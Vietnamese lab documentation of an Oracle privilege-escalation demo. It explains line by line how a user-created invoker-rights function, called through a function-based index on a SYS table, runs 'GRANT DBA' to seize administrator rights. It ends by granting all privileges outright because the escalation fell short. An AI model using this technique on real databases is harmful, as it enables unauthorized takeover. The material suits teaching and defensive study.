**DOCUMETATION**

**----------Connect and create user---------**

Khối lệnh này sẽ dùng để kết nối đến CDSL và tạo mới 1 User.

*SQLPLUS / AS SYSDBA;*

*CREATE USER TEAM7 IDENTIFIED BY 123; (alter session set "\_ORACLE\_SCRIPT"=true;)*

*GRANT CONNECT TO TEAM7;*

*GRANT RESOURCE TO TEAM7;*

*1. SQLPLUS / AS SYSDBA;*

Đăng nhập vào cơ sở dữ liệu với tư cách người dùng SYS bằng cách sử dụng đặc quyền SYSDBA

*2. CREATE USER TEAM7 IDENTIFIED BY 123; (alter session set "\_ORACLE\_SCRIPT"=true;)*

Khởi tạo user tên TEAM7 và đặt mật khẩu là 123. Câu lệnh trong ngoặc sẽ cần chạy trước khi tạo user trong trường hợp tên user mà bạn tạo thiếu tiền tố c## phía trước.

3. GRANT CONNECT TO TEAM7;

Trao quyền connect cho user cho phép người dùng kết nối với CSDL để thao tác

4. *GRANT RESOURCE TO TEAM7;*

Trao quyền resoure cho user để người dùng có thể tạo bảng, tạo trigger,...

**----------Create table----------**

Khối lệnh này sẽ dùng để tạo bảng

*CREATE TABLE DEMO\_EXPLOIT(TEN VARCHAR(20));*

*INSERT INTO DEMO\_EXPLOIT VALUES('TEAM7');*

*SELECT \* FROM DEMO\_EXPLOIT;*

1. *CREATE TABLE DEMO\_EXPLOIT(TEN VARCHAR(20));*

Tạo bảng tên DEMO\_EXPLOIT có cột TEN

2. *INSERT INTO DEMO\_EXPLOIT VALUES('TEAM7');*

Thêm giá trị TEAM7 vào cột TEN bảng DEMO\_EXPLOIT

3. *SELECT \* FROM DEMO\_EXPLOIT;*

Lấy toàn bộ giá trị từ bảng DEMO\_EXPLOIT

**-----------Grant select index privilege to user-----------**

Khối lệnh sau sẽ gán các quyền Select và Index cho user TEAM7

*GRANT SELECT ON SYS.DEMO\_EXPLOIT TO TEAM7;*

*GRANT INDEX ON SYS.DEMO\_EXPLOIT TO TEAM7;*

1. *GRANT SELECT ON SYS.DEMO\_EXPLOIT TO TEAM7;*

Gán quyền Seclect cho user TEAM7 trên bảng DEMO\_EXPLOIT đã tạo

2. *GRANT INDEX ON SYS.DEMO\_EXPLOIT TO TEAM7;*

Trao quyền tạo Index cho user TEAM7 trên bảng DEMO\_EXPLOIT

**-----------Connect to user------------**

*CONNECT TEAM7/123;*

Kết nối với user TEAM7

**-----------Create function to grant dba to user------------**

Khối lệnh sau sẽ tạo ra 1 function tên GETDBA() giúp cho User lấy được quyền DBA. Người dùng có đặc quyền DBA có khả năng truy cập, sửa đổi hoặc xóa một đối tượng cơ sở dữ liệu và cấp đặc quyền cho người dùng khác.

*CREATE OR REPLACE FUNCTION GETDBA(X VARCHAR) RETURN VARCHAR*

*DETERMINISTIC AUTHID CURRENT\_USER IS*

*PRAGMA AUTONOMOUS\_TRANSACTION;*

*BEGIN*

*EXECUTE IMMEDIATE 'GRANT DBA TO TEAM7';*

*COMMIT;*

*RETURN 'TEAM7';*

*END;*

*/*

1. *CREATE OR REPLACE FUNCTION GETDBA(X VARCHAR) RETURN VARCHAR*

Tạo (OR REPLACE nếu được khai báo thì nó sẽ xóa function cũ nếu trùng tên với function mới), RETURN return\_datatype là kiểu dữ liệu sẽ trả về của function

2. *DETERMINISTIC AUTHID CURRENT\_USER IS*

DETERMINISTIC: là một function luôn trả về một giá trị cho một input cụ thể (Ở đây ta trả về ‘TEAM7’). AUTHID CURRENT\_USER: được dùng khi ta muốn đoạn code(PL/SQL) thực thi với quyền của user hiện tại chứ không phải user có ID tạo ra cái procedure đó

3. *PRAGMA AUTONOMOUS\_TRANSACTION;*

PARAGMA là keyword dùng để chỉ khối PL/SQL đó là 1 pragman và nó được đưa đến complier để thực thi, pragma đơn giản chỉ đưa thông tin đến complier chứ không biến nó thành một tiến trình được thực thi luôn. AUTONOMOUS\_TRANSACTION: dùng để nói với cơ chế runtime của PL/SQL có thể COMMIT hoặc ROLLBACK nếu bất cứ sự thay đổi nào xảy ra với database ở trong khối lệnh đang thực thi mà không ảnh hưởng đến các transaction chính hoặc các transaction khác

4. *EXECUTE IMMEDIATE 'GRANT DBA TO TEAM7';*

Câu lệnh EXECUTE IMMEDIATE thực thi một câu lệnh SQL động hoặc khối PL/SQL ẩn danh.

Ta có thể sử dụng nó để đưa ra các câu lệnh SQL không thể biểu diễn trực tiếp trong PL/SQL

5. *COMMIT*

Lệnh COMMIT dùng để đẩy tất cả những cập nhật hệ thống, tức là những cập nhật đó sẽ được thay đổi trong CSDL và những transaction hoặc người dùng khác có thể nhìn thấy sự thay đổi đó. Lệnh này thường dùng tại vị trí mà bạn thấy đã an toàn trong một transaction

**-----------Grant execute privilege to user-----------**

*GRANT EXECUTE ON GETDBA TO TEAM7;*

Gán quyền Thực thi cho user TEAM7 trên đối tượng CSDL GETDBA

**-----------Create index to get dba---------------**

*CREATE INDEX EXPLOIT ON SYS.DEMO\_EXPLOIT(TEAM7.GETDBA(TEN));*

Tạo Index tên EXPLOIT trên bảng DEMO\_EXPLOIT đã tạo với quyền SYS trên cột TEN

**-----------Select and index is not enough to create index----------**

*GRANT ALL PRIVILEGES TO TEAM7;*

Gán hết các quyền cho user TEAM7 do chưa đủ quyền để TEAM7 tạo Index

*SET ROLE DBA;*